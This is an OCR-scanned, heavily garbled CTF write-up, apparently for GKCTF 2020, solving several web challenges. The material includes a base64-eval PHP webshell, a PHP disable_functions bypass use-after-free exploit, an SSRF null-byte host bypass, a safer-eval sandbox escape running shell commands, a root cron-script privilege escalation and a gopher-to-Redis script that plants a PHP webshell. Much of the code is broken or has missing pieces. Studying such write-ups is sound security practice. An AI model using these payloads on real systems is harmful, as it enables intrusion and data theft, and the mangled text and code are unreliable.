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v
title>Check_In</title

highlight file(_ FILE_);
class ClassName

I
i

public null;
public null;
function _ construct()

{
code = @ x()["'Ginkgo'];

decode = @base64_decode( code );
@Eval( decode);

public function x()

{

return

new ClassName();
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disable_functions n : pcntl wait,pentl
naled,pentl_

cntl |_wexitstatus pcntl wt
5 psigpcnt |_signal,pcntl_signal_get_handler,pcnt
gnal_dispatch,pentl_get_last_error,pentl_strerror,
gprocmask,pentl_sigwaitinfo,pc
|_exec,pentl_get y
signals,system, |_exec,popen, p C nc swgnals <y<tem ex
map_open,ld,dl, ssthru,symlink,link, sys\og im, opwn Id.dl,

14 >kizfrreadflag,

PHP 7.6-7.3 disable_functions bypass PoC (*nix only)
Bug: https://bugs.php.net/bug.php?id=72530
This exploit should work on all PHP 7.6-7.3 versions

Author: https://github.com/mméri

pwn("/readflag"); //20kEH CHZIETTHIa S H, A &ElreadfLag

function str2ptr(
0;
for(

}

return

function ptr2str(

wn,
]

for ( 9;
chr(
8;
}

return

function write(
0;
for( 9;
[

function leak(
global



https://github.com/mm0r1/exploits

write( , 0x68,
strlen(
if( 8) {

return 8

function parse_elf(
leak(

) A
, 0x10, 2);

leak(
leak(
leak(

, 0x20);
, 0x36, 2);
, 0x38, 2);

) A

0, 4);

if( 1
# handle pie

} else if(

return false;

return [

function get_basic_funcs(
list( 5
for( 0;
leak(

leak( )8
# 'constant'
if(

constant check

Ox746e€6174736e6163)
continue;

} else continue;

leak(
if(
leak( )
# 'bin2hex'
if(

constant check
0x786568326€6962)
continue;

} else continue;

return

function get binary base(

6) { # PT_LOAD, PF_Read Write

5) { # PT_LOAD, PF_Read_exec




OxfffIffffffffoeo;
0x1000; ) {
0x1000
leak( , 0, 7);
0x10102464c457f) { # ELF header

return i

function get system(

do {
leak( );
leak( , 0, 6);

if( 0x6d6574737973) { # system

return leak( 8);

0x20;
} while( 9);
return false;

class ryat {
var

var

function _ destruct()

{
chtg
ryat 1;

class Helper
public

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');

10; # increase this value if you get segfaults

[1;
; )
[] str_repeat('A', 79);

'a:4:{i:0;i:1;i:1;a:1:{i:0;0:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}";

unserialize( )

gc_collect _cycles();

[1;
[0] ptr2str(e, 79);
unset($v);

[2][e];

new Helper:;




function ($x) { };

if(strlen( ) 79 strlen(
die("UAF failed");

str2ptr( , 90);
str2ptr( , 0x58);
0xc8;

# fake value
write( , 0x60,
write( , 0x70,

# fake reference
write( , ox1e,
write( , 0x18, oxa);

str2ptr( , 9x20);

leak( , 8);
if(!( get_binary_base( ))) {
die("Couldn't determine binary base address");

if(I( parse_elf( 1)) {
die("Couldn't parse ELF header");

if(!( get_basic_funcs( 5 ))) {
die("Couldn't get basic_functions address");

if(!( get_system( ))) {
die("Couldn't get zif system address");

# fake closure object
0xdo;
for( 0; 0x110;

write(

0x20, )
oxde + ox38, 1, 4); # internal func type
Oxdo + Ox68, ); # internal func handler
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payload:

?Ginkgo=QGV2YWwoJFOHRVRbYVOpOw==&a=require("'/tmp/exploit.php');

include 3 requirediFh#ity

cveh 25 3

CVE-2020-7066
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http://*.node3.buuoj.cn/?url=http://www.ctfhub.com

& B HeadersH /7 {EHint:Flag in localhost
Riklocalhostk il f5 I ips:Host must be end with ‘123 ## 1144 B % 12345 2

payload:

Purl=http://127.0.0.123%00www.ctfhub.com

<« C ©® FZ£ | 0ebed875-dfbb-49d6-al5e-eabbbdechf1f.node3.buuoj.cn/?url=http://127.0.0.123%00www.ctfhub.com
Array [x ﬂ
(

(0] => HITP/1.1 200 OE ® O

[1] => Date: Non, 25 May 2020 03:00:37 GMT

[2] => Server: Apache/2.4. 38 (Debian) Filter

[3] => ¥-Powsred-By: PHP/7.3. 15

[4] => FLAG: flag [11588bal-E0e2-166c-8b83-ObaclE684etd] AN | XHR

[E] =» Vary: Accept—Fncoding

[6] = Content-Length: 113

[7] =» Connection: close —
[8] =» Content-Type: text/html; charset=UTF-8
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http://*.node3.buuoj.cn/public/static/index/default/shell.php

IS

RIH H 5% T i flagfE/frootrh
H—Aauto.sh3

! /bin/sh

while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

makeflaghint.py

import os

0s.system("whoami")
gkl=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=i0.open("/flag.hint", "rb+")
f.write(str(gkl))
f.write(str(gk))

.close()

11 % mps -ef X Hlauto.shizrootB SR (1),  Fir ULpyiA B 1% n] LAk B root [ flag ik J& i Hi lflag.hint Sy £

0s.system("whoami")

f=io0.open("/flag.hint", "rb+")

[for root,dirs,files in os.walk(r"/root"):
for file in files:
f.write(os.path.join(root,file)+"\n")

.close()
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[ iFig: /flag.hint
2§ ESE v DAIESTE -

/root/ .bashrc

/root/.profile

/root/flag

Mon May 25 ©8:18:41 20828

Get The RooT,The Date Is Useful!

(W [ S T N Y

os.system("whoami")

f=i0.open("/flag.hint", "rb+")
s=io.open("/root/flag","r").read()
f.write("chenzidu:"+s)

f.close()

4 = (5111.73.46.229

M Ridg: /flag.hint SN

BfF ESE v DALEHR -

1 chenzidu:flag{67febofb-fd3@-49bf-b98a-41e376a8415c}
2 8:23:41 2028
3 Get The RooT,The Date Is Useful!

]


https://www.php.cn/js-tutorial-409538.html

express require( 'express');

bodyParser require( 'body-parser');

saferEval = require('safer-eval'); // 2019.7/WORKER1 7#£Z|—1NRH#HI/%

fs require('fs');

app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

/ 2020.1/WORKER2 Z A I a7 (@t
app.use((req, res, next) {
if (req.path 'Jeval') {
let delay = 60 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
)i
const t setTimeout (() next(), delay);
// 2020.1/WORKER3 ZRUiLFCONM — FEE, A EZKSHS T, RMNEG K Tp %
setTimeout (() {
clearTimeout(t);
console.log('timeout");
try {
res.send('Timeout!");
} catch (e) {

}
}, 1000);
} else {

1)

app.post('/eval', function (req, res) {
let response A
if (req.body.e) {
try {
response = saferEval(req.body.e);
catch (e) {

response 'Wrong Wrong Wrong!!!!"';

.send(String(response));

/ 2019.10/WORKER1 ZMAR U TR FIZNTHTIRCHS, 17400 FKPI

delayit Hint(2147483637) S5 2%,



https://github.com/commenthol/safer-eval/issues/10

const saferEval require("./src/index");

const theFunction function () {

const process clearImmediate.constructor("return process;")();

return process.mainModule.require("child_process").execSync("whoami").toString()
¥
const untrusted “(${theFunction}) ()" ;

console.log(saferEval(untrusted));

payload:

http://d9e@3ffb-d362-49e6-80b0-a9280774354d.node3.buuoj.cn/eval?delay=2147483649

e=(function () {const process clearImmediate.constructor("return process;")();return process.mainModule.re

quire("child_process").execSync("cat /flag").toString()})()

F125&7R ?secret Uil — N RIAER BIANUEE . BREHNMBE, ANEEHBA K

<l--?secret--> == $6

ethd Link encap:Ethernet HuWaddr 082:42:ad:79:a6:0a
inet addr:173.121.166.18 Bcast:173.121.166.255 Mask:255.255.255.0
UP BROADCAST RUNMING MULTICAST MTU:145@ Metric:1
RX packets:1760 errors:@ dropped:@ overruns:@ frame:@
TX packets:2948 errors:@ dropped:@ overruns:® carrier:@
collisions:® txqueuelen:@
RX bytes:347839 (347.8 KB) TX bytes:375223 (375.2 KB)

lo Link encap:Local Loopback
inet addr:127.6.8.1 Mask:255.0.8.8
UP LOOPBACK RUNNIMNG MTU:65536 Metric:1
RX packets:540 errors:@ dropped:@ overruns:0 frame:@
TX packets:548 errors:@ dropped:@ overruns:® carrier:@
collisions:@ txqueuelen:1060
RX bytes:51868 (51.8 KB) TX bytes:51868 (51.8 KB)

import requests

url "http://f876b23b-c6a7-43a7-89dd-ed44273e7dbf1l.node3.buuoj.cn/index.php"
num = len(requests.get(url,params={"url":"173.121.166.10", "submit":"#2%2"}).content)
for i in range(1,254):

res=requests.get(url,params={"url":"173.121.166."+str(i), "submit":"$232"})

print(res.text)

KI173.121.166. 11420 T .



Your url
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import urllib

protocol="gopher://"

ip="173.121.166.11"

port="6379"

shell="\n\n<?php system('cat /flag');?>\n\n"

filename="shell.php"

path="/var/www/html"

passwd=""

cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]

if passwd:

cmd.insert(0,"AUTH {}".format(passwd))

payload=protocol+ip port+"/_"

def redis_ format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")

cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__ =="_main__ ":
for x in cmd:
payload urllib.quote(redis_format(x))

print payload



https://byqiyou.github.io/2019/07/15/%25E6%25B5%2585%25E6%259E%2590Redis%25E4%25B8%25ADSSRF%25E7%259A%2584%25E5%2588%25A9%25E7%2594%25A8/

$ python 1.py
50ph=-r /173,121, 155 11:6379/ %2A1%0D%0A%248%0DE0AFLushal1¥0DE0ARZAIXODEDAR2 43%X0DEDAS e tXODEDAR

'IW-@DW-BFHZAHW-BD%BA. 4 config®ODXOAR243K0D%DASe LR
Ashell.php¥%0DXOAX2ZA1XODEOAX2 L4KODXOASaVeXODEOA

gopher://173.121.166.11:6379/ %2A1%0D%0A%248%0l

R Z G EEVI ) http://173.121.166.11/shell.php 1] LA Fflag

g Load URL http://f876b23b-c6a7-43a7-89dd-e4427 3e7dbf1.node3.buuoj.cn/index.php?url=http://173.121.166.11/shell php&submit=%E6%8F %90%E4%BA%A4

g{; Split URL

») Execute

[ Postdata [] Referer [] User Agent [] Cookies Clear All

2%

disable_functions%¢id

PHP Include

CVE-2020-7066

shopxoJ& 53 4 hi A 3k L shell & 1)L

pythoniki [/ H 5% T i i A SCEF A E 5%

b7 % Bk 2 e GKCTF 2020 Writeup
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